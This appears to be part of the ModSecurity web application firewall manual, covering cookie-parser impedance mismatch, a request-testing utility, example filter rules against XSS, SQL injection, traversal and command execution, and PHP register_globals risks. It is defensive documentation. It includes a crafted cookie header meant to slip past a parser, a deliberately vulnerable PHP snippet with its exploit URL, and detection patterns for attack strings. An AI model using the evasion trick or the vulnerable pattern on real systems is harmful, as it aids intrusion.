ModSecurity

Miscellaneous Topics

Impedance mismatch

Web application firewalls have a difficult job trying to make sense of data that passes by, without any knowledge of the application and its business logic. The protection they provide comes from having an independent layer of security on the outside. Because data validation is done twice, security can be increased without having to touch the application. In some cases, however, the fact that everything is done twice brings problems. Problems can arise in the areas where the communication protocols are not well specified, or where either the device or the application do things that are not in the specification.

The worst offender is the cookie specification. (Actually all four of them: http://wp.netscape.com/newsref/std/cookie_spec.html, http://www.ietf.org/rfc/rfc2109.txt, http://www.ietf.org/rfc/rfc2964.txt, http://www.ietf.org/rfc/rfc2965.txt.) For many of the cases, possible in real life, there is no mention in the specification - leaving the programmers to do what they think is appropriate. For the largest part this is not a problem when the cookies are well formed, as most of them are. The problem is also not evident because most applications parse cookies they themselves send. It becomes a problem when you think from a point of view of a web application firewall, and a determined adversary trying to get past it. In the 1.8.x branch and until 1.8.6, ModSecurity (changes were made to 1.8.7) used a v1 cookie parser. However, the differences between v0 and v1 formats could be exploited to make a v1 parser see one cookie where a v0 parser would see more. Consider the following:

Cookie: innocent="; nasty=payload; third="

A v0 parser does not understand  double quotes. It typically only looks for semi-colons and splits the header accordingly. Such a parser sees cookies innocent, nasty, and third. A v1 parser, on the other hand, sees only one cookie - innocent.

How is the impedance mismatch affecting the web application firewall users and developers? It certainly makes our lives more difficult but that’s all right - it’s a part of the game. Developers will have to work to incorporate better and smarter parsing routines. For example, there are two cookie parsers in ModSecurity 1.8.7 and the user can choose which one to use. (A v0 format parser is now used by default.) But such improvements, since they cannot be automated, only make using the firewall more difficult - one more thing for the users to think about and configure.

On the other hand, the users, if they don’t want to think about cookie parsers, can always fall back to use those parts of HTTP that are much better defined. Headers, for example. Instead of using COOKIE_innocent to target an individual cookie they can just use HTTP_Cookie to target the whole cookie header. Other variables, such as ARGS, will look at all variables at once no matter how hard adversaries try to mask them.

Testing

A small HTTP testing utility was developed as part of the ModSecurity effort. It provides a simple and easy way to send crafted HTTP requests to a server, and to determine whether the attack was successfully detected or not.

Calling the utility without parameters will result in its usage printed:

$ ./run-test.pl
Usage: ./run-test.pl host[:port] testfile1, testfile2, ...

First parameter is the host name of the server, with port being optional. All other parameters are filenames of files containing crafted HTTP requests.

To make your life a little bit easier, the utility will generate certain request headers automatically:

  • Host: hostname

  • User-Agent: mod_security regression testing utility

  • Connection: Close

You can include them in the request if you need to. The utility will not add them if they are already there.

Here is how an HTTP request looks like:

# 01 Simple keyword filter
#
# mod_security is configured not to allow
# the "/cgi-bin/keyword" pattern
#
GET /cgi-bin/keyword HTTP/1.0

This request consists only of the first line, with no additional headers. You can create as complicated requests as you wish. Here is one example of a POST method usage:

# 10 Keyword in POST
#
POST /cgi-bin/printenv HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

p=333

Lines that are at the beginning of the file and begin with # will be treated as comments. The first line is special, and it should contain the name of the test.

The utility expects status 200 as a result and will treat such responses as successes. If you want some other response you need to tell it by writing the expected response code on the first line (anywhere on the line). Like this:

# 14 Redirect action (requires 302)
GET /cgi-bin/test.cgi?p=xxx HTTP/1.0

The brackets and the "requires" keyword are not required but are recommended for better readability.

Solving Common Security Problems

As an example of ModSecurity capabilities we will demonstrate how you can use it to detect and prevent the most common security problems. We won't go into detail here about problems themselves but a very good description is available in the Open Web Application Security Project's guide, available at http://www.owasp.org.

Directory traversal

If your scripts are dealing with the file system then you need to pay attention to certain meta characters and constructs. For example, a character combination ../ in a path is a request to go up one directory level.

In normal operation there is no need for this character combination to occur in requests and you can forbid them with the following filter:

SecFilter "\.\./"

Cross site scripting attacks

Cross site scripting attacks (XSS) occur when an attacker injects HTML or/and JavaScript code into your Web pages and then that code gets executed by other users. This is usually done by adding HTML to places where you would not expect them. A successful XSS attack can result in the attacker obtaining the cookie of your session and gaining full access to the application!

Proper defense against this attack is parameter filtering (and thus removing the offending HTML/Javascript) but often you must protect existing applications without changing them. This can be done with one of the following filters:

SecFilter "<script"
SecFilter "<.+>"

The first filter will protect only against JavaScript injection with the <script> tag. The second filter is more general, and disallows any HTML code in parameters.

You need to be careful when applying filters like this since many application want HTML in parameters (e.g. CMS applications, forums, etc). You can this with selective filtering. For example, you can have the second filter from above as a general site-wide rule, but later relax rules for a particular script with the following code:

<Location /cms/article-update.php>
    SecFilterInheritance Off
    # other filters here ...
    SecFilterSelective "ARGS|!ARG_body" "<.+>"
</Location>

This code fragment will only accept HTML in a named parameter body. In reality you will probably add a few more named parameters to the list.

SQL/database attacks

Most Web applications nowadays rely heavily on databases for data manipulation. Unless great care is taken to perform database access safely, an attacker can inject arbitrary SQL commands directly into the database. This can result in the attacker reading sensitive data, changing it, or even deleting it from the database altogether.

Filters like:

SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "select.+from"

can protect you from most SQL-related attacks. These are only examples, you need to craft your filters carefully depending on the actual database engine you use.

Operating system command execution

Web applications are sometimes written to execute operating system commands to perform operations. A persistent attacker may find a hole in the concept, allowing him to execute arbitrary commands on the system.

A filter like this:

SecFilterSelective ARGS "bin/"

will detect attempts to execute binaries residing in various folders on a Unix-related operating system.

Buffer overflow attacks

Buffer overflow is a technique of overflowing the execution stack of a program and adding assembly instructions in an attempt to get them executed. In some circumstances it may be possible to prevent these types of attack by using the line similar to:

SecFilterByteRange 32 126

as it will only accept requests that consists of bytes from this range. Whether you use this type of protection or not depends on your application and the used character encoding.

If you want to support multiple ranges, regular expressions come to rescue. You can use something like:

SecFilterSelective THE_REQUEST "!^[\x0a\x0d\x20-\x7f]+$"

PHP

PHP peculiarities

When writing ModSecurity rules that are meant to protect PHP applications one needs to have a list of PHP peculiarities in mind. It is often easy to design a rule that works when you are attacking yourself in one way but completely miss an attack variant. Below is a list of things I am aware about:

  • When the register_globals is set to On request parameters become global variables. (In PHP 4.x it is even possible to override the GLOBALS array).

  • Cookies are treated as request parameters.

  • Whitespace at the beginning of parameters is ignored.

  • The remaining whitespace (in parameter names) is converted to underscores.

  • The order in which parameters are taken from the request and the environment is EGPCS (environment, get, post, cookies, built-in variables). This means that a POST parameter will overwrite the parameters transported on the request line (in QUERY_STRING).

  • When the magic_quotes_gpc is set to On PHP will use backslash to escape the following characters: single quote, double quote, backslash, and NULL.

  • If magic_quotes_sybase is set to On only the single quote will be escaped using another single quote. In this case the magic_quotes_gpc setting becomes irrelevant.

Preventing register_global problems

Nowadays it is widely accepted that using the register_globals feature of PHP leads to security problems, but it wasn't always like this (if you don't know what this feature is then you are probably not using it; but, hey, read on the discussion is informative). In fact, the register_globals feature was turned on by default until version 4.2.0. As a result of that, many applications that exist depend on this feature (for more details have a look at http://www.php.net/register_globals ).

If you can choose, it is better to refactor and rewrite the code to not use this feature. But if you cannot afford to do that for some reason or another, you can use ModSecurity to protect an application from a known vulnerability. Problematic bits of code usually look like this:

<?php
// this is the beginning of the page
if ($authorised) {
    // do something protected
}
// the rest of the page here
?>

And the attacker would take advantage of this simply by adding an additional parameter to the URL. For example, http://www.modsecurity.org/examples/test.php?authorised=1

Rejecting all requests that explicitly supply the parameter in question will be sufficient to protect the application from all attackers:

<Location /vulnerable-application/>
    SecFilterSelective ARG_authorised "!^$"
    SecFilterSelective COOKIE_authorised "!^$"
</Location>

The filter above rejects all requests where the variable "authorised" is not empty. You can also see that we've added the <Location> container tag to limit filter only to those parts of the web server that really need it.

Performance

The protection provided by ModSecurity comes at a cost, but the cost is generally very low. Your web server becomes a little bit slower and uses more memory.

Speed

In my experience, the speed difference is not significant. Most regular expressions take only a couple of microseconds to complete. The performance impact is directly related to the complexity of the configuration. You can use the performance measurement improvements in the Apache 2 version of the module to measure exactly how much time ModSecurity spends working on each request. In my tests this was usually 2-4 milliseconds for a couple of hundred of rules (on a server with a 2 GHz processor).

Note

The debug log in the Apache 2 version of the module will show the time it took ModSecurity to process every request, and even individual rules.

Note

If you have the debug logging feature enabled the performance figures you get from ModSecurity will not be realistic. Debug logging is usually very extensive (especially on the higher levels) and also very slow. The best way to assess the speed of ModSecurity is to create a custom Apache log and log the performance notes as described earlier.

Memory consumption

In order to be able to analyse a request, ModSecurity stores the request data in memory. In most cases this is not a big deal since most requests are small. However, it can be a problem for parts of the web site where files are being uploaded. To avoid this problem you need to turn the request body buffering off for those parts of the web site. (This is only a problem in the Apache 1.x version. The Apache 2.x version will use a temporary file on disk for storage when a request is too large to be stored in memory.) In any case it is advisable to review and configure various limits in the Apache configuration (see http://httpd.apache.org/docs/mod/core.html#limitrequestbody for a description of LimitRequestBody, LimitRequestsFields, LimitRequestFieldsize and LimitRequestLine directives).

Other things to watch for

The debugging feature can be very useful but it writes large amounts of data to a file for every request. As such it creates a bottleneck for busy servers. There is no reason to use the debugging mode on production servers so keep it off.

The audit log feature is similar and also introduces a bottleneck for two reasons. First, large amounts of data are written to the disk, and second, access to the file must be synchronised. If you still want to use the audit log try to create many different audit logs, one for each application running on the server, to minimise the synchronisation overhead (this advice does not remove the overhead in the Apache 2.x version because synchronisation is performed via a central mutex).

Important notes

Please read the following notes:

  • You should carefully consider the impact of every filtering rule you add to the configuration. You particularly don't want to deny access using very broad rules. Broad rules are often a cause of many false positives, which, in.

  • Although ModSecurity can be used in .htaccess files (AllowOverride Options is required to do this), it should not be enabled for use by parties you do not trust. If you are very paranoid you can disable this feature by compiling ModSecurity with -DDISABLE_HTACCESS_CONFIG (as a parameter to the apxs utility).

  • With so many Apache modules to choose from it is impossible to test every possible configuration. Always verify your configuration works as you want it to.

Changing the Apache hook at which mod_security runs

By default mod_security will try to run at the last possible moment in Apache request pre-processing, but just before the request is actually run (for example, processed by mod_php). I have chosen this approach because the most important function of mod_security is to protect the application. On the other hand by doing this we are leaving certain parts of Apache unprotected although there are things we could do about it. For those who wish to experiment, as of 1.9dev3 mod_security can be compiled to run at the earliest possible moment. Just compile it with -DENABLE_EARLY_HOOK. Bear in mind that this is an experimental feature. Some of the differences you will discover are:

  • It should now be possible to detect invalid requests before Apache handles them.

  • It should be possible to assess requests that would otherwise handled by Apache (e.g TRACE)

  • Only server-wide rules will run. This is because at this point Apache hasn't mapped the request to the path yet.

Subsequent releases of ModSecurity are likely to allow rule processing to be split into two phases. One to run as early as possible, and another, to run as late as possible.